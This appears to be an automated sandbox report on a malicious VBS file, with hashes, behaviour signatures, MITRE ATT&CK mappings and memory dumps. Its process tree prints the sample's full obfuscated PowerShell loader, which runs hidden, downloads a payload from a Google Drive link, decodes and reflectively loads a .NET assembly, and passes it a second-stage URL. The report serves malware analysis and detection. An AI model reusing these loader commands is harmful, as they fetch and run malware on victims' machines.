521c52c7c4e3e15c8d9805eeb75b45c85679c7ac9e744d9f53d67a7840cf309f

General

Target

picturewithattitudeevenbetterforallthin.vbs
Size

137KB
MD5

8575080d678736f4370fa4b88d00c148
SHA1

ec4023c9d47d5d4c93e1f76d6400c6dfbec3a143
SHA256

521c52c7c4e3e15c8d9805eeb75b45c85679c7ac9e744d9f53d67a7840cf309f
SHA512

3b3e106f9ff3f57a41ca101e179c373e0782a1d5a82a113ee72b993893c4f5ad615d075631904ee3ab417f4b7f10062f15153280b159623ad8b0f71d49073593
SSDEEP

3072:pybRgt5pgGwRr2wGUTqqfMYUlPgmsLnPe0A4g:1o0Y8gNLnPe0A4g

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

exe.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1736	powershell.exe
7	1736	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1988	powershell.exe
1736	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1988	powershell.exe
1736	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	1736	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2100 wrote to memory of 1988	2100	WScript.exe	30
PID 2100 wrote to memory of 1988	2100	WScript.exe	30
PID 2100 wrote to memory of 1988	2100	WScript.exe	30
PID 1988 wrote to memory of 1736	1988	powershell.exe	32
PID 1988 wrote to memory of 1736	1988	powershell.exe	32
PID 1988 wrote to memory of 1736	1988	powershell.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\picturewithattitudeevenbetterforallthin.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdpWEtpbScrJ2FnJysnZVVybCA9IE5RMGh0dHBzOi8vZHJpdmUuZ29vZ2xlJysnLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9MVV5SHF3cm5YQ2xLQkozajYzTGwxdDJTdFZnR3hiU3QwIE5RMDtpWEt3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5Jysnc3RlbS5OZXQuVycrJ2ViQ2xpZW50O2lYSycrJ2ltYWdlQnl0ZXMgPSBpWCcrJ0t3ZWJDbGllbnQuRG93bmxvYWREYXRhKGlYS2ltYWdlVXJsKTtpWEtpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW4nKydjb2RpbmddOjonKydVVEY4LkdldFN0cmluZyhpWEtpbWFnZUJ5dGVzKTtpWEtzdGFydEZsYWcgPSBOUTA8PEJBU0U2NF9TVEFSVD4+TlEwO2lYS2VuZEZsYWcgPSBOUTA8PEJBU0U2NF9FTkQ+Pk5RMDtpWEtzdGFydEluZGV4ID0gaVhLaW1hZ2VUZXh0LkluZGV4T2YoaVhLc3RhcnRGbGFnKTtpWEtlbmRJbmRleCA9IGlYS2ltYWdlVGV4dC5JbmRleE9mKGlYS2VuZEZsYWcpO2lYS3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBpWEtlbmQnKydJbmRleCAtZ3QgaVhLc3RhcnRJbmRleDtpWEtzdGFydEluZGV4ICs9IGlYS3N0YXJ0RmxhZycrJy5MZW5ndGg7aVhLYmFzZTY0TGVuZ3RoID0gaVhLZW5kSW5kZXgnKycgLSBpWEtzdGFydEluJysnZGV4O2lYS2Jhc2U2NENvbW1hbmQgPSBpWEtpbWFnZVRleHQuU3Vic3RyaW4nKydnKGlYS3N0JysnYXJ0SW5kZXgsJysnIGlYS2Jhc2U2NExlbmd0aCk7aVhLYmFzZTY0UmV2ZXJzZWQgPSAtam8nKydpbiAoaVhLYmEnKydzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIDJDUSBGb3JFYWNoLU9iamVjdCB7IGlYS18gfSlbLTEuLi0oaVhLYmFzZTY0Q28nKydtbWFuZC5MZW5ndGgpXTtpWEtjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvJysnbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGlYS2Jhc2U2NFJldmVyc2VkKTtpWEtsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoaVhLY29tbWFuZEJ5dGVzKTtpWEt2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKE5RMFZBSU5RMCk7aVhLdmFpTWV0aG9kLkknKydudm9rZShpWEtudWxsLCBAKE5RMHR4dC5VTExQTVMvNTMvMjUuNy44NjEuNDAxLy86cHR0aE5RMCwgTlEwZGVzYXRpdmFkb05RMCwgTlEwZGVzYXRpdmFkbycrJ05RMCwgTlEwZGVzYXRpdmFkb05RMCwgTlEwYXNwbmV0X3JlZ2Jyb3dzZXJzTlEwLCBOUTBkZXNhdGl2YWRvTlEwLCBOUScrJzBkZXNhdGl2YWRvTlEwLE5RMGRlc2F0aXZhZG9OUTAsTlEwZGVzYXRpdmFkb05RMCxOUTBkZXNhdGl2YScrJ2RvTlEwLE5RMGRlc2F0aXZhZG9OUTAsTlEwZGVzYXQnKydpdmFkb05RMCxOUTAxTlEwLE5RMGRlc2F0aXZhZG9OUTApKTsnKS5SRVBsYWNlKCcyQ1EnLCd8JykuUkVQbGFjZSgnaVhLJyxbc1RyaU5nXVtjaGFyXTM2KS5SRVBsYWNlKChbY2hhcl03OCtbY2hhcl04MStbY2hhcl00OCksW3NUcmlOZ11bY2hhcl0zOSkgfCAuICggJHNoRWxMSURbMV0rJHNIZUxsaURbMTNdKydYJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1988
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('iXKim'+'ag'+'eUrl = NQ0https://drive.google'+'.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0 NQ0;iXKwebClient = New-Object Sy'+'stem.Net.W'+'ebClient;iXK'+'imageBytes = iX'+'KwebClient.DownloadData(iXKimageUrl);iXKimageText = [System.Text.En'+'coding]::'+'UTF8.GetString(iXKimageBytes);iXKstartFlag = NQ0<<BASE64_START>>NQ0;iXKendFlag = NQ0<<BASE64_END>>NQ0;iXKstartIndex = iXKimageText.IndexOf(iXKstartFlag);iXKendIndex = iXKimageText.IndexOf(iXKendFlag);iXKstartIndex -ge 0 -and iXKend'+'Index -gt iXKstartIndex;iXKstartIndex += iXKstartFlag'+'.Length;iXKbase64Length = iXKendIndex'+' - iXKstartIn'+'dex;iXKbase64Command = iXKimageText.Substrin'+'g(iXKst'+'artIndex,'+' iXKbase64Length);iXKbase64Reversed = -jo'+'in (iXKba'+'se64Command.ToCharArray() 2CQ ForEach-Object { iXK_ })[-1..-(iXKbase64Co'+'mmand.Length)];iXKcommandBytes = [System.Co'+'nvert]::FromBase64String(iXKbase64Reversed);iXKloadedAssembly = [System.Reflection.Assembly]::Load(iXKcommandBytes);iXKvaiMethod = [dnlib.IO.Home].GetMethod(NQ0VAINQ0);iXKvaiMethod.I'+'nvoke(iXKnull, @(NQ0txt.ULLPMS/53/25.7.861.401//:ptthNQ0, NQ0desativadoNQ0, NQ0desativado'+'NQ0, NQ0desativadoNQ0, NQ0aspnet_regbrowsersNQ0, NQ0desativadoNQ0, NQ'+'0desativadoNQ0,NQ0desativadoNQ0,NQ0desativadoNQ0,NQ0desativa'+'doNQ0,NQ0desativadoNQ0,NQ0desat'+'ivadoNQ0,NQ01NQ0,NQ0desativadoNQ0));').REPlace('2CQ','|').REPlace('iXK',[sTriNg][char]36).REPlace(([char]78+[char]81+[char]48),[sTriNg][char]39) | . ( $shElLID[1]+$sHeLliD[13]+'X')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
7d7b25cae83b04db0c16da19712843d2

SHA1
54d5d6bac9b68d384131a2a7c96dcd7561640dca

SHA256
26bf426d93350529e9ece2b00e63d6670d70e6cca82f04c5f51cda0941ac1cb4

SHA512
7519c73883c3d6d9b6c1bb5fc420bfeadd181fba4c65cdc2fa0583cfff7f92c93ef6d6376fda340655fdbf4e9a1ac71345aa0f28af3a359df13d86d176197d8e

Download Submit
memory/1988-4-0x000007FEF555E000-0x000007FEF555F000-memory.dmp

Filesize
4KB

Download
memory/1988-5-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/1988-6-0x0000000002340000-0x0000000002348000-memory.dmp

Filesize
32KB

Download
memory/1988-7-0x000007FEF52A0000-0x000007FEF5C3D000-memory.dmp

Filesize
9.6MB

Download
memory/1988-13-0x000007FEF52A0000-0x000007FEF5C3D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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